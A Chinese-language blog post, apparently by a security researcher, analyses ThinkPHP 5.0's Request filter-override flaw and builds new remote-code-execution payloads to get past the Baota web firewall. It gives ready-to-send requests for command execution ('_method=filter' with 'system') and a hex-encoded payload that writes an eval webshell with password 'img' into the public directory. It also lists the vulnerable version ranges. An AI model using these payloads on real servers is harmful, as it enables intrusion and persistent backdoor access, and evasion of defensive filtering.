ThinkPHP5.0核心Request类新payload分析

简介

又看了下宝塔wafThinkPHPRCE的过滤

image-20210728142228287

基本上是对已知的payload的一种拦截

除了,寻找宝塔waf自身的漏洞之外,还可以从漏洞本身出发,寻找不同的payload

这里是检测的_method的组合,以及_method不允许是初始化方法

测试

分析版本

  • ThinkPHP 5.0.23

代码分析

首先要明白通过_method调用初始话方法的目的

就是覆盖filter成员变量

基于此,我们可以寻找到另外一个方法filter方法

image-20210728154832000

基本流程

在App的run方法中,先对过滤器进行初始化

image-20210728160325752

进入routeCheck后,调用Route的check方法进行路由检测

image-20210728160445469

在check方法中调用了Request的method方法,通过payload进行变量覆盖

image-20210728160541404

当开启debug的时候在App的Run方法中调用了Request的param方法导致的RCE

image-20210728160650166

不开启路由的时候,需要存在一个完整的路由,一会提,先看这个

进入param方法后,再一次调用method方法

image-20210728162339666

这个时候会进入上面的if分支

image-20210728162407744

并且$this->serverPOST进入过滤器

其实这并不影响最简单的payload

这个时候我们可以通过post传参

1
a=system&_method=filter

这个时候的filter就是systemfilter

在进行get传参

1
b=dir

即可触发RCE,可以看到这种payload简单的多

image-20210728161042806

但是在宝塔中不仅仅只有这一种拦截

还有对参数的过滤,以及disable_functions

在某些低版本中可以尝试构造代码执行,但是这里是不行的

至于文件包含,还得先有文件

所以,我们去找一个文件写入的地方,并且这个方法是静态的,不存在$this的调用

找到一处build类中的buildHello方法

image-20210728162035025

跟进

image-20210728162051773

由于宝塔中还特意过滤了base64_decode函数

由于第一个参数是POST,并不可控,需要需要一个方法,返回一个可控的变量

这里找到pathinfo方法和header方法

image-20210728162846096

并且将第一个过滤方法设置为error_reporting,传入POST相当于关闭了报错

调用的build类的传入参数为

image-20210728162945025

最终

1
2
3
http://127.0.0.1:82/?s=6161613b230a406576616c28245f524551554553545b27696d67275d293b2f2f2e2e2f2e2e2f7075626c69632f

a=error_reporting&b=self::pathinfo&c=hex2bin&d=\think\Build::module&_method=filter

image-20210728163035767

header方法

1
2
3
4
5
POST /index.php
Host: 127.0.0.1:82
32767: 6161613b230a406576616c28245f524551554553545b27696d67275d293b2f2f2e2e2f2e2e2f7075626c69632f

a=error_reporting&b=self::header&c=hex2bin&d=\think\Build::module&_method=filter

最后会在public目录下生成/controller/Index.php,密码img

限制

5.0.0<= ThinkPHP<=5.0.7

无法利用,对method存在验证,原payload中是_method=__construct&method=POST

5.0.8<= ThinkPHP<=5.0.12

无限制

5.0.13<=ThinkPHP<=5.0.23

需要开启debug